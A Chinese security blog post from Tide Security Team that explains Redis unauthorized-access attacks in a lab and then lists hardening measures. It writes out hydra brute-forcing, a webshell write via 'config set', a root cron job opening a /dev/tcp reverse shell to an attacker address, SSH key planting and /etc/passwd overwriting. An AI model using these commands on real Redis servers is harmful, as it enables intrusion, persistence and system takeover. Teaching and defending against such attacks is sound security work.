山东新潮信息
专业|专注|卓越|安全
声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。Redis与其他key – value缓存产品有以下三个特点:
支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
支持数据的备份,即master-slave模式的数据备份。
master node 192.168.31.41
slave node 192.168.31.207
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar zxvf redis-2.8.17.tar.gz #解压
cd redis-2.8.17
make MALLOC=libc #编译
make install #安装mkdir -p /usr/local/redis/etc
mkdir -p /usr/local/redis/bin
cp redis.conf /usr/local/redis/etc/
cd src/
mv mkreleasehdr.sh redis-benchmark redis-check-aof redis-check-dump redis-cli redis-server /usr/local/redis/bin
echo "slaveof 192.168.31.41 6379" >> /usr/local/redis/etc/redis.conf
/usr/local/redis/bin/./redis-server /usr/local/redis/etc/redis.conf
hydra暴力枚举Redis密码
hydra -P /root/tools/pass/q_10.txt redis://193.168.31.41
MSF暴力枚举Redis密码
2、未授权或枚举出密码情况下利用
当Redis默认为slave时,从节点服务器断开后,从节点会晋升为主节点。
./redis-cli -h 192.168.31.207 -p 6379
INFO replication
SL**EOF no one
通过Redis写webshell(需要知道网站绝对路径)。
config set dir /var/www/html
config set dbfilename webshell.php
set webshell "<?php phpinfo(); ?>"
save
查看服务器已写入webshell
通过写计划任务反弹shell
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/sh -i>&/dev/tcp/192.168.31.62/4444 0>&1\n\n"
save
免密钥登录写入同上,这里使用redis漏洞利用工具进行写入
ssh链接时无需密码登录
写/etc/passwd 文件实现任意账号密码重置,此方法会把管理员覆盖容易被管理员发现。
修改redis.conf文件
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
groupadd -r redis && useradd -r -g redis redis
修改redis.conf文件
requirepass mypassword
修改redis.conf文件
bind 127.0.0.1
修改redis.conf文件
Port 6379
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或长按二维码关注公众号: